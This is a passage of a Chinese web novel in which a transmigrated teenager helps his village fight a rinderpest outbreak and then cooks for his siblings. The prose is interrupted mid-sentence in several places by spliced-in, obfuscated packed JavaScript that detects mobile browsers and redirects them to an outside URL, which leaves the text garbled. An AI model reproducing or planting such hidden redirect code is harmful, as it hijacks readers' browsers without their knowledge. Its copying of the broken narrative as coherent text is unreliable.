王村长展颜,在秦高瞻起身时想到某件事,赶紧说,“前日我去找里正说起病牛的事时,为让他重视,没说是你第一个察觉,只说村里有人有经验初步怀疑。待你默完我呈给县令大人时,也这般说。待事情落定尘埃,我一定将你的名字报上去,绝不会抢你的功劳。” 想到多日前他打算和稀泥的事,王村长又讪讪,觉得自己在少年这儿没什么信誉。 “村长,我明白您的用心。” 秦高瞻发自内心的说:“以年龄取人的事时常发生,就算说是来自旧书,因拿不出书,不相信的人居多,我能理解。当务之急还是献策,尽量控制牛瘟蔓延。” 王村长有些感动,微红着眼眶看他,“瞻哥儿,你这般深明大义,我当日却……” “村长您歇着,我去默写。” 秦高瞻头皮发麻的进了书房,拿出之前没用完的笔墨纸砚,一边磨着墨一边回忆。 其实在他前世生活的国家,牛瘟已经彻底根除,流行的是牛病毒性腹泻-黏膜病等病毒。 不过,他曾看过专门科普历史上流行瘟疫的视频,其中就有牛瘟。古代乃至近现代都曾大面积流行过,发病率接近百分之百,死亡率在百分之九十以上。 病牛前期急性高热,食欲减退以及便秘,口腔病变后开始腹泻,中期彻底不进食,末期呼吸恶臭躺倒不动。 何亮没能第一时间上报,在牛死后又进行一定处理掩盖了臭味,导致周围人都没怀疑,还真当牛是腹泻脱水而死。 纵然他不了解牛瘟,这么做也只为了不赔偿,可终究因为他,错过第一时间扑杀病牛以及接触牛群,及时排查控制以及预防。 默默骂了何亮几句,秦高瞻开始书写。 他将现代化的语言组织得更符合时下写书的语气,描述了病牛各时期的症状,又写了传染源和传染途径,紧接着写了大概的潜伏期以及结合时下的防控措施。 写完后,他等着墨迹干的同时,努力回忆是否有遗漏。 等确定将记得的能用上的都写完,才带着一叠纸来堂屋。 “村长,关于牛瘟的内容我大概记得这些,您看看。” 王村长迫不及待的接过来,匆匆浏览。 “症状对上了,甚至更详细,”他激动,“县令大人提审了何亮,何亮知道事情闹大了也乖觉,老老实实说了病牛的前后期变化。” 又去看传染源和传播途径。 “部分和县志上的一致…现在全县都在排查,找到病牛,会处理尸体、粪便等。只是,除了食物饮水,如果同处一个地就可能感染,那要处理的牛……” 王村长拧起眉头。 他不知道空气传染这个词,又因这句话背后生寒,最终化作怒火破口大骂。 “该死的何亮,居然拖着病牛一路来我们梨花村!” 谁知道这一路有没有接触其他牲畜呢? 秦高瞻已经气过了,冷静道,“不仅牛易感,羊和猪也可能感染牛瘟,必须注意。” “这个我一定会和里正强调,不要漏了猪和羊。” 他们这地方基本没人养羊,不过养猪的不少。 “我们这还好,何家村那边估计……” 王村长又看了如何对病牛和同群牛进行无害化处理,如何对感染环境用具进行消毒处理,才小心翼翼将纸叠起来,藏在怀里。 “我这就去找里正,然后一起去见县令大人,晚些时候再来找你。” 秦高瞻:“无论县令如何安排,咱们村可以先行动起来。” “是该这样,我急糊涂了。” 他先带着秦高瞻去检查村里的公用耕牛,确定都没问题后松了半口气。 秦高瞻提醒:“这病有潜伏期,还是需要观察一段时日。” 按照标准的防疫措施,至少要等扑杀最后一只病牛后,再观察一个潜伏期,不再出现病牛,才算度过这次危机。 王村长只得将那半口气重新提起来。 “行,这些日子我每天让人给牛棚消毒,粪便之类的直接焚烧,每天吃不完的草料也处理了。” 他去找了几个口碑不错的村民,想了想,将王大娘的男人童多实也叫上。 “瞻哥儿识字,也仔细看过这…防牛瘟册子,待会就由你们小队,一家家排查。出现类似症状的牛猪羊都带走集中处理,要是哪家不配合,那也不许他们将牛牵出来走动,等我回来处理。” 又把秦高瞻拉到一边准备说几句悄悄话。 “村长,我明白您的用意,你放心。”秦高瞻抢在他之前说。 这是希望他去分辨病牛,又将病牛主人的怒意分摊到小队上。 还是那话,他一个爹娘不在还被村里人欺负过的十四岁少年说的话没多少人相信。 就好比现在,王村长带来的人基本都只认可他识字,而不是认可他对牲畜和牛瘟的了解。 王村长很感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823697|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,单独嘱咐小儿子王兴多照顾秦高瞻。 王兴早从媳妇那儿听说了有关耕牛的冲突,在知道秦高瞻面对秦登科也不落下风时,就高看了一眼。后来得知是秦高瞻第一个警觉病牛的事,更是佩服不已。 “爹,我知道你在担心什么,放心吧,到时他负责看,我负责说,保证大家只对我有怨言。” 王村长瞪他,“就不能和气点,不让大家有怨言?” 王兴摊手,“爹,那可是牛,就算有官府下令,大家肯定也不愿承认家里的牛感染了。” 又劝村长,“你去找县令大人时,最好申请让衙役们来各村,有些事,衙门出面比较好。” “还需要你教?” 王村长甚至打定主意,将消毒用的艾草苍术和石灰备一些,既是担心县衙采购再分配比较慢,也是防备有人借机抬价。 不过在这之前,他敲锣打鼓,让各家各户派一人去村前的空地,简单说了官府的指令后,匆匆离开。 之前担心的事成了事实,村民们都忧心忡忡。没牛的担心村里的公用牛出事,有牛的更怕损失了财产。 自然,回家途中免不了咒骂何亮,还有的怀疑病牛感染的时间点,看秦登科的表情不善。 秦登科家来开会的是秦登科,毕竟他们家他和媳妇最闲。注意到村民们的目光,他心里恼火又心虚。被说多了,难免也怀疑起来,只是面上装作淡定。 王兴则是带着挑选出的几人挨家挨户查看起来。 有村民跟着队伍后围观,发现有个过于年轻的面孔,觉得奇怪,“怎么瞻哥儿也在?他自己种田没几年,没养过牛猪,也懂这些?” “瞻哥儿识字,也将那防牛瘟册子背下来,年轻记性好,可以随时提醒我们。” 王兴本不想被这么多人围观,转念一想,围观也是一种压力。到时有村民们帮腔,不怕被发现问题的人家不肯将病牛交出来。 他读书不如大哥,脑子却活,长相和气质带点痞气,这会有些吊儿郎当的说,“当然,要是你们孩子愿意来帮忙,那也可以加入,不过,没有酬劳。” 那些人听了,顿时歇了心思。 没有酬劳还好意思找他们家正在读书的儿子/孙子? 有这功夫,不如好好待在学堂里读书。至于秦高瞻,就算聪明也没钱读书,这会也有空闲跟着干活。 这么一想,他们看秦高瞻的目光甚至带了点怜悯和优越。 秦高瞻无视了这些目光。 他主要想保护村里公用的几只牛,也的确担心村民们不会辨别,不在意这些人的看法。 一百多户里,养了牛的有十几户,养了猪的有三十几户,其中还有重合的。 小队仔细筛查,发现有两头牛已经出现高热症状。 好在这两只牛近日没出过门,粪便也留在家里,和其他健康牛隔这么远,不会通过空气传染过去。 秦高瞻有些庆幸,只要其他健康牛不出事,那他们村的损失算是很小的,接下来防控得当,应该能安稳度过。 可对两户人家来说,无异于晴天霹雳。 “只是有些发热,怎么就是牛瘟呢?” 19. 冲突 质问的是个五十左右的高大汉子,皮肤黝黑。 他媳妇身材娇小,站在他身边不说话,表情也很不满。 “铁柱叔,”王兴指了指牛棚里的那只牛,“你自己摸摸,那叫有些发热?” 排查小队里其他人也说:“你再看看它的眼睛,开始肿胀不说,喉咙这个地方也开始溃烂,这可不是简单的发热啊,你发热时都不会这样。” 石铁柱表情难看,坚持道,“就是发热,我会找大夫来看。” 王兴不干了,搬出了村长老爹不管用,那就搬出官府。 院子外的村民们也七嘴八舌帮腔。 “铁柱啊,这可是官府的命令,不能不听。” “你不要自私,害了全村的牛啊。” “你儿子还在读书,你得当个榜样,大气点。” 石铁柱越听越气。 他成亲早却很晚才有孩子,更是三十多才有儿子。为供儿子读书,一家人付出很多。他家牛也没买多久,花了整整十一两。在他心里,这牛不仅平时能用来耕田,必要时刻还能高价卖出去供儿子读书。 有这样的打算,再听村民提及儿子,他便认为这些人是嫉妒他儿子读书聪明,想断了儿子的青云路。 目光一扫,就扫到排查小队里十分安静的秦高瞻,当即找到突破口。 “秦高瞻,是不是你指使他们这样说?” 正欣慰王兴等人记住病牛症状的秦高瞻:“……” 他无辜脸,“叔,我进院到现在,一句话都没说。” “你提前和他们打招呼了!”石铁柱坚持道。 秦高瞻正怀疑这人是不是有病时,又听到石铁柱大声道,“乡亲们都知道,当年秦高瞻死皮赖脸缠着李夫子要读书,被我儿子撞见,没能占到便宜,这些年一直怀恨在心,现在终于找到机会报复。” 秦高瞻垂眸,懂了,这是想利用所谓的旧怨,将大家的注意力从病牛身上引走。 如他所料,石铁柱又大声强调昨日大雨,牛棚有些漏水,导致他们家牛今日有些发热。 “我拿地里庄稼的收成发誓,在这之前,我们家牛没任何症状!” 秦高瞻觉得这人脑子挺活,不过…… “铁柱叔,别讲这些有的没的,舍不得牛就直说。” 王兴站出来,表情不善,“原本我们也能理解你的心情,可你欺负一个小孩就过分了。还拿庄稼收成发誓,村里谁不知道你们夫妻俩不会种田。” 他打开院门,示意村民们排队进来。 “刚好,我可以借这机会教学。大家回去后,能时刻盯着家里的牛猪羊。平时呢,也能互相监督。这可关系到咱们村未来多年的收成。” 秦高瞻忍不住提醒:“可以隔着点距离学习,不要近距离接触。真要接触了,还是要做好防护措施,事后清理,用火烘烤衣物再接触家里的牲畜。” 村民们顿时很从心的退开些。 尽管一句话没说,可几乎用实际行动证明,他们相信石铁柱家的牛感染了牛瘟。 石铁柱气得不行,一个箭步冲过来,就要对秦高瞻动手。 “铁柱,你要做什么?” 童多实拦住他,“瞻哥儿只是好心提醒大家,你这个样子,更像是心虚。” 王兴几人也围过来劝,王兴更是干脆将人分成两组,让童多实几人带着秦高瞻去别家。 “这里交给我。” 去其他村民家路上,童多实时不时看秦高瞻一眼。 他向来嘴笨,这会也不知说什么安慰这个小孩。 没打算被人安慰的秦高瞻正在感慨排查工作不好做。 即便有防牛瘟手册,不少村民根据手册能分辨出病牛,可要说服村民交出病牛还无怨言很难。他们村小尚且如此,那些大村更不用说了。一旦有一户出现病牛的人家不配合,疫情就会持续很久。 第二户出现病牛的人家姓关。 秦高瞻等人到时,关丰收主动说,“我们家牛可能染病了。” 又说了他观察到的特征,以及清明前村长提醒大家时,他做的那些措施。 “牛棚每日都在打扫,也用过艾草苍术,粪便都处理了,但还是……” 秦高瞻:“丰收叔,能说说你家牛前些日子去过哪儿吗?” 关丰收很配合,不仅说了牛的行动路线,还说了他们一家人的行动路线,且强调,“何亮带着病牛来我们村时,我们家没人去凑热闹。” 见秦高瞻表情有些难看,他追问,“是哪儿出了问题?” “我们村外边那个湖可能出问题了。” 岑县河流不少,支流几乎贯穿全县,刚好为农户灌溉田地提供便利。湖泊也不少,水位由晴雨天决定。 梨花村外就有一个湖,不大,田地在那个湖附近的人家在用完牛后,基本都会让牛去洗个澡喝点水。关丰收家就是这么做的。 而那湖,就在梨花村和何家村之间。 关丰收几人的表情跟着严肃起来,“瞻哥儿,你的意思是?” “牛瘟怕太阳,怕晒怕热,这会水凉,要是有人把某些东西倒入在湖中,又或者在附近浅浅掩盖了什么,会传到湖里,且会持续很久。” 这就是病牛无害化处理一般分为焚烧和深埋的原因。 童时实立马说:“先告诉大家,不要让牛去那个湖喝水。” “嗯,”秦高瞻接话,“咱们最好带些人去那个湖附近找找看。” 在软硬兼施,暂时安抚好石铁柱后,王兴又得知这个噩耗,苦笑,“这下子下午也没得休息了。” 扫视一圈,见大家面露疲色,他忙说,“这样,大家先回家吃饭休息,下午我再召些人一起。” 等大家陆续散开,他叫住秦高瞻。 “瞻哥儿,他们几个可以轮流来,但你这边缺不得。” 王兴说得心虚,觉得过于折腾一个孩子,承诺道,“不需要你动手,你负责到处看看。” “我明白,都是为了村子。” 秦高瞻觉得第一时间彻底解决问题才叫高效。人心惶惶不如快刀斩乱麻,让大家安心下来耕作。 回家后他也是这么和弟弟妹妹说的。 遇到这种大事,家里人都选择支持。 “放心吧,地里的活交给我们。” 秦高瞻笑了笑:“也就下午需要我出面,之后就交给县衙和村长了。” 能教出王兴这样头脑灵活的儿子,本身治理村庄经验丰富的王村长肯定能想到更多。 再看宁县令做出的举措,风格和前任县令截然相反,只要找对方向,他对这次牛瘟的解决还是比较有信心的。 下午,秦高瞻等人花费了些时间,在梨花村外那个湖附近发现浅埋的病牛尸体,赶紧挖出来远离水源,并未急着焚烧。 有村民气道:“肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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转头回到房间,孙氏担心的询问丈夫,“你仔细想想,咱们家的牛借出去前接触了哪些牲畜,去过哪些地方。咱们家借牛的日子,是不是还在那什么潜伏期内?” “我回忆过了,没问题。” 孙氏不信,“你时常喝酒,也许会遗漏一二,再回忆一次。” 秦登科嫌烦,“年纪大了真啰嗦,我累了要歇息。” 孙氏顿时怒了。 “嫌我年纪大了啰嗦?你怎么不说说你自己?要不是你整日里结交些猪朋狗友,还喜欢说大话死要面子,把牛借出去,怎会引出这件事?” 不等秦登科开口,劈头就骂,“对自己媳妇不耐烦,那你去何亮家,让他们家赔钱啊!十两可不少,都能让高中买些好礼赠给夫子开小灶。你光想着当进士爹,怎么不为进士儿子考虑?” 她气急了,直接来一句,“你这个自私好面子的怂包!” 从小到大,就没人这么骂过他,秦登科也怒了,近几日的负面情绪一起爆发。 “我自私好面子?你怎么不说说你,家里有点新粮,就送去娘家。别人吹捧几句,就乐呵呵借粮,又不去催要,下次来了继续借。平时看不起这个看不起那个,觉得都是村妇不如你这个秀才女儿,殊不知别人都觉得你蠢好欺负!” 两人吵闹的时候知道压低嗓音,传不到秦高中房间那,却被隔壁的秦来娣听个正着。 女孩蜷缩在角落,开始忧心明日。爹娘吵架了,肯定会拿她出气,她能躲到哪儿去呢? 20. 猪肝青菜面 梨花村排查出病牛的第二日,两只牛以及相关物品就在衙役的见证下焚烧了。 王村长和村民们解释:“如果集中送到县里,免不了经过更多地方,有风险,因此宁大人规定就地焚烧,不得有隐瞒。” 说完,亲自上前签字画押。两头牛的主人也照做。 关丰收回到人群里,神色还有些怅然。 怀疑家中牛感染牛瘟是一回事,真被确诊,还就地焚烧是另一回事。目前牛瘟源头尚未查清,更说不上赔偿。县衙只是下发了一些艾草苍术和石灰,用以防范疫疠。 十两银子就这么没了。 “爹,”一旁,关厚德小声劝他,“牛瘟事关重大,听说何家村那边有人不配合被抓走,咱们家不能闹到那种地步。” “我明白。” 牛瘟一事闹得太大,全县排查,村学也停了一日,许多学子也在围观人群里。 关丰收看了眼对面和他爹一样愤懑不满的石攀,难免欣慰儿子的识大体,心情跟着好了一些。 “何家村那几人被抓,不仅是因不配合……” 关丰收小声说起他听到的消息。 和他一样在议论的还有许多人。 邻村之间嫁娶往来是常事,加上昨晚村长自何家村回来时脸色肉眼可见的难看,梨花村的村民都铆足劲去打听消息,东拼西凑,大家都知道隔壁村的境况了。 “那人忒大胆了,”回家途中,秦高瞰还在感慨,“为了那些蝇头小利,竟给主家买了病牛,连累同牛棚的牛不说,还撒谎那几头牛是意外受伤而亡,卖到肉铺。最后那只情况太严重,才悄悄埋起来。” “何富户真是好心没好报,”秦高琼冷哼,“他对底下管事好,管事却想着怎么坑他。还有卖牛的人,明知是病牛还卖,真过分!” “过分,太过分了!”秦高瑜握紧小拳头。 “哥,这件事会不会影响何家啊?”秦高瞰有些担心,“何老爷也是被蒙蔽了,事后也很配合。” “不太清楚,”秦高瞻摇头,“事有轻重缓急,宁大人急于解决牛瘟,事后才会发作那些人。” 他也觉得那何富户挺倒霉的。因为产业多,买牛这种事便全盘交给雇来的管事,结果管事和牛贩狼狈为奸,买入一只病牛,祸害自家不说,还殃及全村乃至临近几个村。 “不过据说何亮被收押后并未动刑,宁大人应该不会冤枉无辜之人。此次灾难的罪魁祸首是那管事和牛贩。病牛一事传开后,那管事不仅依旧不上报,还将掩埋的病牛挖出来匆匆转移到咱们村外。那牛贩更过分,他还卖了许多病牛到其他村,甚至其他县,连累无数人家。” 秦高瞻觉得这两人死定了。 “希望何老爷没事。”秦高瞰真心祝福。 秦高瞻附和了几句,心里却在想,那位何富户要是积极做一些举措,不仅不会有事,还能收获一些名声。 考虑到两家的渊源,他打算找个机会提醒一句。 当初原身病重二弟卖田,上等水田一般是五到八两一亩。他们家的田地理位置不算好,其实卖不到八两一亩。加上情况紧急,对方要是合理讲价,他们家也会答应。 何富户在了解到他们家的情况后,没有议价买下田地。中等水田也是给的最高价。 这其实是在维护他们家尊严的情况下,帮助了他们家。一家人都记得这件事。只是他们家目前处于勉强吃饱的状态,和何家差距太大,想不到报恩方式。 晚些时候,王村长又来秦家商量防控后续。 “衙门拨下一些艾草苍术石灰,我又买了一些,打算给养了牛猪羊的人家多发一些,只养鸡鸭的人家少一些,都没养的人家更少一些,”王村长絮絮叨叨,“现在艾草苍术石灰的价高,就怕有人舍不得用转头卖了。” “不如每几户结队,每日定时一起消除病邪。” “就这么办,互相监督,便不怕有人偷偷把药卖了,”王村长又说起烧火的事,“幸亏咱们这边有山,不怎么缺柴。最近有些冷,大家也乐意烧几个火盆,将家里弄得暖烘烘的。等太阳出来,一起将家里的东西拿出去晒。” 牛瘟病毒对外界敏感,不能在高温、碱性、含消毒成分环境中长期生存。六十度半小时就能被灭活,因此多烧火盆很有用。艾草苍术以及石灰消毒的方法也有用。 “烧火盆的时候要注意通风,”秦高瞻叮嘱,“都烧火盆了,可以顺便烧热水喝。春季不仅牲畜易生病,人也如此。” 王村长连连点头。 秦高瞻见他不急着离开,顺势询问何富户家的情况。 “何老爷也是倒霉,他们家大业大,就连县里都有产业,哪里会贪那点小钱?” “如若有人拿驭下不严做文章……” 王村长摆手,“即便县令大人对他管教不严不满,可在何老爷表示愿意给何家村损失牛的人家一定赔偿后,县令大人顶多口头训导几句。” 这其实也是秦高瞻想给何老爷的建议,短期来看损失了一些银钱。长期来看,扭转了名声有助于正在读书的秀才儿子,同时也解决县令面临的困境,没准还能借机入县令青眼,日后在县里的生意更上一层楼。 前任县令极度贪婪,留给宁大人的县衙库房肯定没什么钱。这次光是买入大量艾草苍术石灰,县衙都很吃力。就算之后抓了牛贩直接抄家,也给不起民众赔偿。 县令态度强硬,一些里正村长明事理十分配合,才勉强稳定了下边的局面。可一旦事情结束,大家难免会遗忘瘟疫横行时的害怕,惦记自家损失的那头牛,既而对县令有怨言。 这不利于县令的名声,也不利于他接下来想推行的各种政策。 最好的解决办法是给一些赔偿稳定民心,可问题是县衙没钱,前任县令更是早就升官跑路。 何富户的提议无疑正中县令下怀。 “除了何家村,只要是被他们家那头病牛波及的人家,都可以得到赔偿,具体赔多少没说,”王村长摸了摸自己的胡子,“按照你教的那个病牛源头追溯的法子,他们家估计要赔偿临近几个村的牛。只赔一半也是不小的数目。” 又感慨道:“有个秀才儿子就是好啊,关键时刻出的主意就是靠谱。” 秦高瞻附和,又话锋一转,“不患寡而患不均,何老爷好心,就怕其他没得到赔偿的人家心有不满,那好心也容易埋下祸根。” “是这个理,可要何老爷赔偿全县,”王村长只是一想,就觉得可怕,“不是说这牛瘟一旦发病基本死亡?我估摸会是可怕的数字。就算何家拿得出来,去赔偿与他们家责任无关的人家,也容易被人诟病说是为儿子造势。” “那若由何老爷牵头,组织县内多个富户一起呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847616|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦高瞻:“我出入书坊时,偶尔听县学的学子提及,新来的宁大人正言厉色,勤政为民,十分忙碌,私下很少见客。” 王村长瞬间领悟到,最后半句话才是关键。 他也意识到,自己的机会来了,又有些犹豫,“既然宁大人私下不见客,想必家风清正。” 何老爷自己一人赔偿就算了,本来这次他们家就有责任。若是组织不少富户一起,会被县令拒之门外吧? “试一下又不吃亏。” 秦高瞻淡定的喝了口温水。 “事成,那些富户也能得些名声。” 如此,就算日后有富户试图贿赂县令办事被拒绝,也不算县令过河拆桥。地方父母官如何把握和当地商人的关系,本就是一门学问。现代不少地方政府还主动招商引资呢。 见王村长犹豫不决,秦高瞻也无所谓。这对王村长来说也是机会,要是放弃,他便再找个机会提醒何富户‘不患寡而患不均’。至于何富户怎么做,不是他能操心的。 牛瘟病毒的潜伏期一般是三到九天,极少数病例能延长到十四天,按照现代国际标准,考虑到极端情况,甚至会观察防控二十一天。 别的村如何不清楚,至少梨花村在焚烧两头病牛,领到药物消毒,每日多烧几个火盆两日后,就恢复正常生活了。不过闲时聊天话题基本都是道听途说的一些消息,哪个村又发现病牛,哪个村有人不配合之类的。 期间,秦高瞻和弟弟背着攒了近七天的药去了趟城里,换得八百多文。照旧买了两斗粗粮,一些白面,猪肉猪肝大骨等。 自从学会包包子,兄妹四人就时不时蒸包子,甚至还学会手擀面,偶尔早餐晚餐从青菜粥变成青菜面。 隔三差五吃白面,每天至少有一顿荤腥,这对梨花村不少人来说都是奢侈的行为。 秦高瞰几次想说省着点花,可当大哥自豪的展示一家人的变化时,他又哑口无言。 反正这样花他们家的存款也突破一两了,哥哥和妹妹们都健健康康,那一切都值得。 “二哥,给你!” 面前多了一碗香喷喷热腾腾的猪肝青菜面。 刚刚还想着太奢侈的男孩不自觉的咽口水。 “阿琼,你给我盛太多了。” “哪有,”秦高琼指了指自己的碗,又指了指大哥的碗,“我们都吃得很多,就你吃得少,再这样下去,我都要你比高了。” 食量最小的秦高瑜顿住,她悄悄打量哥哥姐姐的身高,又瞅瞅自己的小胳膊,当即埋头大吃。 她也要多吃,变得和哥哥姐姐一样高高壮壮。 秦高瞰接过那碗面,笑了笑,“长高很好啊,我不介意你比我高。” 夹着一块猪肝的秦高瞻扫了眼,淡定道,“阿琼,不用‘再这样下去了’,你现在就比阿瞰高。” “真的吗?”秦高琼开心的放下碗筷,拉着二哥比较。 没多久,厨房里传来她哈哈大笑的声音。 而刚刚说不介意的秦高瞰已经垮下脸。 “明明我更大。” “也就大一刻钟。” “我是二哥。” “谁让你吃得少?吃得少迟早大哥也比我矮。” 被波及的秦高瞻云淡风轻吃面,看到弟弟老实吃饭,将那些算术抛之脑后后,露出满意的笑容。 21. 香煎小鱼 正式防控牛瘟第七日,秦高瞻带着弟弟妹妹去种植苦荞麦。 种子提前暴晒过,也在温水中浸泡去除了漂浮颗粒,留下饱满的种子晒干。 田地更是早就整理好,因为苦荞麦幼苗顶土能力差,要确保土块没有板结。清明那场雨后,他们专门将田地土块耙细,做好排水措施,避免湿度太低造成一些病虫害。 至于之前从山里挖回暴晒过的腐熟的腐土落叶,因为量少,又不确定完全去除了虫卵,便只在两亩田里和土壤拌匀,且碾得细碎。 播种比犁田轻松一些。播完后,秦高瞻还检查了一遍,这才带着弟弟妹妹回家。 出门前放入陶罐的猪大骨和白萝卜已经炖好,香气四溢。 兄妹四人一人添了一碗,喝完后浑身舒坦。 “我们辛苦了一天,今天都多吃点。” 秦高瞻豪爽的蒸了不少粗粮,和剩下的五花肉炒了一大盘青菜,还煎了一盘小鱼仔。 “咦,我们家哪来的鱼?” 秦高琼夹了一条小鱼,轻轻一咬。 “咔嚓。” “哇,好酥脆,连骨头都能吃!” “油煎的,”秦高瑜模仿她咔嚓咔嚓吃起来,“好吃的。” 姐妹俩吃得脸颊上都是油花。 “村长送来的,”秦高瞰也夹了一条,“送来时,小鱼都处理好了,怪贴心的。” 吃完一条,他又表情古怪,“可是,村长来我们家的次数是不是太多了?” “是有点多,”秦高瞻一边叹气一边扒饭,咽下去后继续说,“来的次数太多,我都没遮掩挖药的事了。” “村长叔叔话好多,”秦高瑜将不小心吃到嘴里的头发拽出来,“好多好多。” 秦高瞻无奈。 大概是他在牛瘟一事里起到一些作用,王村长变得喜欢来找他商量事情。一开始只与牛瘟有关,渐渐的多了村里其他事,还暗示过想资助他继续读书。 不过秦高瞻当着他的面处理药材后,王村长就不提资助读书这件事了。 资助也意味着投资,双方会绑定关系。 即便觉得王村长不错,秦高瞻也不想和他们家彻底绑定关系。更何况,王村长家只在梨花村算是不错,家里有些良田,大儿子在县里做账房。可如果他们家特别厉害,就不会让小儿子在村里种田,小儿媳还为孩子读书的事坑了他们家。 陶氏和秦登科的交易是王村长登门拜访几次后,彻底说明了。 这是示好的信号,也是村长跳出长辈与晚辈的关系,与秦高瞻结交。他从这次事件看出了秦高瞻的价值。 资助读书这事秦高瞻没和弟弟妹妹们说。 “牛瘟过后农忙,他就没工夫来找我了。” 秦高瞻转移话题,“苦荞种完了,咱们也该处理旱地,把菜种和大脸盘子种了。” “没问题!”几人应下。 过了会,秦高瞰突然问,“咱们真要一直叫大脸盘子?以后炒籽叫卖时,高喊‘快来尝尝大脸盘子,咸的甜的都有’?” 秦高瞻几人:“……” “咳咳,”秦高瞻做思考状,“不如叫向日葵?它的花形很像蜀葵锦葵之类的。” “那向日呢?”秦高琼思索,“向着太阳?它们当时都向着太阳?没太注意。” “我也没注意,不过大哥说向日那肯定向日,”秦高瞰几乎到了盲目信任大哥的地步,“那就向日葵,比大脸盘子好听。” “谁的脸盘子要是像和向日葵一样密密麻麻,那也太可怕了。”秦高琼嘟囔了句,继续呼啦啦的往嘴里扒饭。 第二天早上,考虑到劳作强度,秦高瞻蒸了干饭,炒了盘青菜,又将余下的萝卜大骨汤添出来。饱餐一顿后,几个哥哥姐姐去旱地那边忙碌。 除了两亩还没收获完的蔬菜,又分出四亩准备种植蔬菜。 他们家第一次尝试在家里温室育苗,目前看来,效果比之前露天地栽育苗好,减少了不少时间。再过几日,就可以先后移栽豆角、芸豆、茄子和胡瓜等。 向日葵则是之前收拾出一块地,直接大田育苗,之后再移栽。毕竟经过讨论,他们决定划出四亩旱地种植向日葵。这四亩都在荒坡上,就算没种好,也不影响他们家的蔬菜。 等真的来荒坡挖沟垒土,秦高瞰又改变主意,“哥,要不去平地种植向日葵?荒坡其实种什么都难长好。” “没关系,你看咱们这样做,”秦高瞻眺望附近几块土地,“相当于将荒坡分割成一小块一小块的平地,只要做好蓄水和排水措施,不妨碍向日葵生长。” 说着,他又朝弟弟妹妹眨眼,“而且你们看,附近既有不少荒地,也有因为过于贫瘠没怎么被认真种植的土地。如果要买,花不了多少钱可以买许多。第一批向日葵大获成功,咱们就可以买下这些地,按照同样的方法整理旱地种植。” 要是别人听到这话,肯定会笑话他好高骛远。在这之前没人种植不知从哪儿来的向日葵,且第一批还在育苗,期间可能有许多变故,他居然就肖想以后。 但秦高瞰几人不管那些,从以前到现在,他们都一直信任着大哥。 既然大哥说好,那肯定就好。 转眼正式防控牛瘟过去九日,秦高瞻试验的温室育苗也获得成功,准备将豆角苗移栽到地里时,王村长又来了。 他一来,秦高瑜便转过身,对着哥哥姐姐不停张嘴,又不发声。 这是在模仿村长平时的滔滔不绝。 “阿瑜,”秦高瞻走过去点点她的眉心,“别促狭。” “阿瑜听不懂。” 小姑娘抱着自己的脑袋,睁着无辜的大眼睛。 “少来,你那么聪明。” 小姑娘陷入纠结中,到底该承认自己聪明,还是否认自己在模仿村长呢? “村长,有事?” 秦高瞻心里也无奈,又不至于和妹妹那样。 “瞻哥儿,好事啊。” 王村长没看出这些孩子的交锋,乐呵呵道,“县令大人让你这几日去一趟咧,你看你什么时候有空。” 他递过来一个帖子。 “这么正式?” 秦高瞻疑惑的接过帖子一看,只说让他去趟县衙,别的都没说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853677|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“就这一份帖子?” 上边没写村长的名字。 “独一份,”王村长竖起大拇指,“如今过去九日,在大人的雷霆之行下,牛瘟基本得到控制,总算有功夫论功过,我和里正昨日去了县里,今日一大早里正就送来这份帖子。要不是事情多,里正都想来见你。” 他语气有点羡慕,“昨日我见了大人,大人大多时候都在问你的事,如今又单独见你了,可见多么欣赏你。” “问我的事?”秦高瞻了然,“昨日衙役来村里检查时,选了一些人打听我,看来是宁大人的吩咐。” 村里藏不住多少秘密,田间地头劳作时会唠嗑几句,聚在一起做些针线活时,更是八卦不止。 衙役一问,很快周春燕就打发儿子来提醒他,王大娘也来了一趟。 “别多心,”王村长从兜里取出一块饴糖递给凑近的秦高瑜,继续乐呵呵,“大人打听你的事,对你来说是好事。” 秦高瞻没接话,他不是很了解如今的县令,不过兵来将挡水来土掩。 秦高瞰兄妹没想那么多,得知县令要见大哥,王村长又那般说,兴高采烈,“大哥,你今天就去吧,别让县令大人等急了。” “是啊是啊,我们去种豆角苗就行,反正也不多。” 王村长也催:“说是让你有空再去,可哪能让大人等呢?” 反正换做他,那肯定是马上骑着家里的骡子去城里。 